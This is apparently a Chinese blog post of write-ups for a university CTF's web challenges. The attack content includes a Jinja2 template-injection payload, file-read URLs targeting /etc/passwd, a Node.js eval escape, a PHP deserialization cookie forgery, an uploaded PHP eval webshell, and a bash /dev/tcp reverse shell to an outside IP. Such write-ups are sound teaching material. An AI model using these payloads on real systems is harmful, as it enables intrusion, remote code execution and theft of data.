10月校赛
2020-10-26 / 灬魔龙   

Web

babyflask



经过测试,本题是jinja2模板注入。
常见的bypass套路,构造

{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__i'+'mport__')('o'+'s')|attr('popen')('cat /flag')|attr('read')()}}

import和os被过滤,采用字符拼接的方法绕过。

参考:
https://www.gem-love.com/ctf/2634.html#babyflask

VulnCMS

该题存在许多漏洞。
其中任意文件读取漏洞:

http://202.119.201.199:9002/about/index/blog/?url=file:///etc/passwd
http://202.119.201.199:9002/about/index/index/?file=/etc/passwd

http://202.119.201.199:9002/member/index/login为会员的登录网站,猜测admin的登录网站为http://202.119.201.199:9002/admin/index/login,尝试账号admin,密码admin成功登录。

然后在检测目标IP主机状态中有漏洞,可以用|从而执行后面的语句。于是想到在目录写入一个木马文件。


从database.php中可以知道数据库的信息。

<?php
$servername = "mysql";
$username = "root";
$password = "root";
$dbname = "yxjcms";
$conn = mysqli_connect($servername, $username, $password,$dbname);
if (!$conn) {
  die("Connection failed: " . mysqli_connect_error());
}
else{
  echo("✔");
}
$sql = $_POST['sql'];
$result = $conn->query($sql);
if ($result->num_rows > 0) {
  // 输出数据
  while($row = $result->fetch_assoc()) {
    var_dump($row);
    echo("🏴•☠ ");
 }
} else {
  echo "✖";
}
$conn->close();
?>

创建一个查询数据库的mysql.php文件。
使用show tables,查询到flagishere表,使用select * from flagishere获得flag。

doge


查看源码发现很多表情,查了一下,是aaencode编码。
经过aaencode解密再Unicode解密获得题目源码。

 var isBegin = false;

function numRand() {
var x = 9999;
var y = 1000;
var rand = parseInt(Math.random() * (x - y + 1) + y);
return rand;
}

function isPrimeNum(num) {
return !/^.?$|^(..+?)\1+$/.test(Array(num + 1).join('1'))
}

function check(num) {
if (isPrimeNum(num)) {
    $.ajax({
        url: 'check.php',
        type: 'POST',
        data: 'num=' + num,
        success: function (data) {
            alert(data);
        }
    })
} else {
    alert( 'It seems t'
    +'hat you are'
    +' not lucky '
    +'enough, ple'
    +'ase keep tr'
    +'ying.')
}
}
$(function () {
var u = 265;
$('.btn').click(function () {
    if (isBegin) return false;
    isBegin = true;
    $(".num").css('background-position', '11px 0');
    var result = numRand();
    var num_arr = (result + '').split('');
    $(".num").each(function (index) {
        var _num = $(this);
        var yPos = (u * 60) - (u * num_arr[index]);
        setTimeout(function () {
            _num.animate({
                backgroundPosition: '11px ' + yPos + 'px'
            }, {
                duration: 6000 + index * 3000,
                easing: "easeInOutCirc",
                complete: function () {
                    if (index == 3) {
                        isBegin = false;
                        check(result);
                    }
                }
            });
        }, index);
    });
});
});

审计代码可知,只要在check.php中POST的4位num为素数即可获得flag。
于是POST num=2333,得到flag的base64编码。

Y3VtdGN0Znt3M2xjMG1lX3QwX2N1bXRjdGZfQH0=

解码获得flag。

koa<

打开页面看到一串base64编码,解码后获得题目源码。

const Koa = require('koa');
const Router = require('koa-router');
const Parser = require('koa-bodyparser');
const fs = require('fs');

let app = new Koa();
let router = new Router();

app.use(Parser());

router.get('/', async ctx => {
ctx.response.body = `<html><a href="/src">Source Code</a></html>`;
});

let btoa = s => new Buffer(s + '').toString(encoding='base64');
let atob = s => new Buffer(s + '', encoding='base64').toString();
const src = btoa(fs.readFileSync('app.js'));

router.get('/src', async ctx => {
ctx.response.body = src;
});

let filter = expr => {
let blacklist = ['(', ')', '.', '&', '#', '\\', '"', '`', ' '];
for (const ele of expr) {
    if (blacklist.includes(ele))
        return false;
}
return true;
}

router.post('/expr', async ctx => {
let expr = ctx.request.body.expr || '8 ^ 1';
if (!filter(expr)) {
    ctx.response.body = '?';
    return;
}
ctx.response.body = eval(expr);
})

app.use(router.routes());
app.listen(9999);

题目给了hint:=。所以先POST

expr= filter=e=>{return/**/true},这样使filter为true,即可绕过blacklist。

因为本题为nodejs,然后POST

expr=global.process.mainModule.constructor._load("child_process").execSync("/readflag").toString()

所以脚本为:

import requests
url="http://219.219.61.234:30000/expr"
res1=requests.post(url,data={"expr":"filter=e=>{return/**/true}"})
print(res1.text)
res2=requests.post(url,data=
{"expr":'global.process.mainModule.constructor._load("child_process").execSync("/readflag").toString()'})
print(res2.text)

即可读取flag。

koa>

本题和上一题差不多,只是过滤不同。

const Koa = require('koa');
const Router = require('koa-router');
const Parser = require('koa-bodyparser');
const fs = require('fs');

let app = new Koa();
let router = new Router();

app.use(Parser());

router.get('/', async ctx => {
ctx.response.body = `<html><a href="/src">Source Code</a></html>`;
});

let btoa = s => new Buffer(s + '').toString(encoding='base64');
let atob = s => new Buffer(s + '', encoding='base64').toString();
const src = btoa(fs.readFileSync('app.js'));

router.get('/src', async ctx => {
ctx.response.body = src;
});

let filter = expr => {
let blacklist = ['(', ')', '=', '.', '&', '#', '\\', '\'', '"', ';', ' '];
for (const ele of expr) {
    if (blacklist.includes(ele))
        return false;
}
return true;
}

router.post('/expr', async ctx => {
let expr = ctx.request.body.expr || '8 ^ 1';
if (!filter(expr)) {
    ctx.response.body = '?';
    return;
}
ctx.response.body = eval(expr);
})

app.use(router.routes());
app.listen(9999);

本题与上体比较,多过滤了=和',但是少过滤了,而且给了hint: tagged template,


最终payload:

import requests
url="http://219.219.61.234:30001/src"
res=requests.get(url)
url = "http://219.219.61.234:30001/expr"
headers ={'test':'''global.process.mainModule.constructor._load("child_process").execSync('bash -c "/bin/bash -i > /dev/tcp/107.191.41.65/90 0<&1 2>&1"').toString()'''}
res=requests.post(url,data={"expr":'''Function`s${ctx[`header`][`test`]}```'''},headers=headers)
print(res.text)

然后在服务器上对设置的端口进行监听。

运行代码,在服务器运行/readflag获取flag。

参考:http://iv4n.cc/2020-wp-vol1/#templatejs

Hodor

查看源码获得提示。

<?php

Class Source {
public function __toString() {
    return highlight_file('license.txt', true).highlight_file($this->source, true);
}
}

function easy_check($str) {
//echo $str;
if (preg_match("/flag/i", $str, $matches)) {
    return false;
}
return true;
}

if(isset($_GET['source'])){
$s = new Source();
$s->source = __FILE__;

echo $s;
exit;
}

$todos = [];

if(isset($_COOKIE['todos'])){
if(!easy_check($_COOKIE['todos'])) {
    echo "Hacker!\n";
} else {
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);
    if(md5($m) === $h){
        $todos = unserialize($m);
    }
}
}

if(isset($_POST['text'])){
$todo = $_POST['text'];

$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);

setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
// flag is in flag.php
?>
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>

发现和 https://blog.csdn.net/weixin_43415644/article/details/94590443的类似,只是过滤了flag。

<?php
Class Source {
public function __toString() {
    highlight_file('license.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new Source();
$s->source = "flag.php";
$s=[$s];
$m=serialize($s);
echo $m;
}
?>

直接写脚本,获得

a:1:{i:0;O:6:"Source":1:{s:6:"source";s:8:"flag.php";}}

其中flag被过滤了,所以构造

a:1:{i:0;O:6:"Source":1:{s:6:"source";S:8:"\66lag.php";}}

绕过
最后的payload:

df80635527eb9189c1197254ad3c46bca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Source%22%3A1%3A%7Bs%3A6%3A%22source%22%3BS%3A8%3A%22%5C66lag.php%22%3B%7D%7D

添加cookie todos为payload,然后刷新一下页面获得flag。

WellCMS

经过测试admin的密码为admin123,登录后然后再次输入密码进入后台管理系统。新增加一个内容,然后上传图片。

抓包分析发现filetype为jpeg,data为图片的base64编码。
filetype修改为php,
data修改为:

data:image/jpeg;base64,PD9waHAgQGV2YWwoJF9QT1NUWydoYWNrJ10pO2V2YWwocGhwaW5mbygpKTs/Pg==
<?php @eval($_POST['hack']);eval(phpinfo());?>

然后上传,接着打开上传文件

成功运行。接着用蚁剑连接。在根目录下获得flag。

参考:https://www.cnblogs.com/0daybug/p/12393857.html

本文链接:https://devildragons.github.io/2020/10/26/10%E6%9C%88%E6%A0%A1%E8%B5%9B/